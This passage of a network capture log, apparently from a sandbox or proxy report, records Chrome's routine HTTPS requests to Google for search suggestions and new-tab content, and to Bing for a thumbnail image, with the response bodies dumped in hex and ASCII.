M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49745	142.250.181.100	443	7792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 16:24:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:24 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-tVPF4IqFKmI4XQnPViePHA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 16:24:25 UTC	124	IN	Data Raw: 33 31 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 75 6b 20 6d 69 6c 69 74 61 72 79 20 62 61 73 65 73 20 64 72 6f 6e 65 73 22 2c 22 6e 65 77 20 73 75 62 63 6c 61 73 73 65 73 20 62 67 33 20 70 61 74 63 68 20 38 22 2c 22 77 61 6c 6d 61 72 74 20 74 72 75 63 6b 20 64 72 69 76 65 72 20 6c 61 77 73 75 69 74 22 2c 22 6d 6f 61 6e 61 20 6c 69 76 65 20 61 63 74 69 6f 6e 20 6d 6f 76 Data Ascii: 31b)]}'["",["uk military bases drones","new subclasses bg3 patch 8","walmart truck driver lawsuit","moana live action mov
2024-11-28 16:24:25 UTC	678	IN	Data Raw: 69 65 22 2c 22 6d 65 74 73 20 67 65 6e 65 73 69 73 20 63 61 62 72 65 72 61 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 6e 6f 76 65 6d 62 65 72 20 32 38 22 2c 22 6d 65 67 61 20 6d 69 6c 6c 69 6f 6e 73 20 6a 61 63 6b 70 6f 74 20 6c 6f 74 74 65 72 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 Data Ascii: ie","mets genesis cabrera","thanksgiving weather forecast snow storm","nyt strands november 28","mega millions jackpot lottery"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2Vhc
2024-11-28 16:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49747	142.250.181.100	443	7792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49748	142.250.181.100	443	7792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 16:24:25 UTC	1018	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 16:24:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 16:24:25 UTC	372	IN	Data Raw: 32 30 63 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20c3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700250,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-28 16:24:25 UTC	1073	IN	Data Raw: 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d Data Ascii: or(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}
2024-11-28 16:24:25 UTC	461	IN	Data Raw: 31 63 36 0d 0a 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a Data Ascii: 1c6b-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 Data Ascii: 8000 throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce
2024-11-28 16:24:25 UTC	1390	IN	Data Raw: 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 Data Ascii: \|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49746	142.250.181.100	443	7792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 16:24:25 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 16:24:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 16:24:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-28 16:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49752	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:24 UTC	346	OUT	GET /th?id=OADD2.10239381742050_1SU74Q4K5S59B84Q9&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:25 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 832073 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 698F61AF1C4340718F64D9F181BCB6C9 Ref B: EWR30EDGE0214 Ref C: 2024-11-28T16:24:24Z Date: Thu, 28 Nov 2024 16:24:24 GMT Connection: close
2024-11-28 16:24:25 UTC	405	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 a6 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 30 39 3a 33 35 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 09:35:308
2024-11-28 16:24:25 UTC	8192	IN	Data Raw: 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 5a 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 Data Ascii: Z"?3!1AQa"q2B#$Rb34rC%Scs5&DTdE
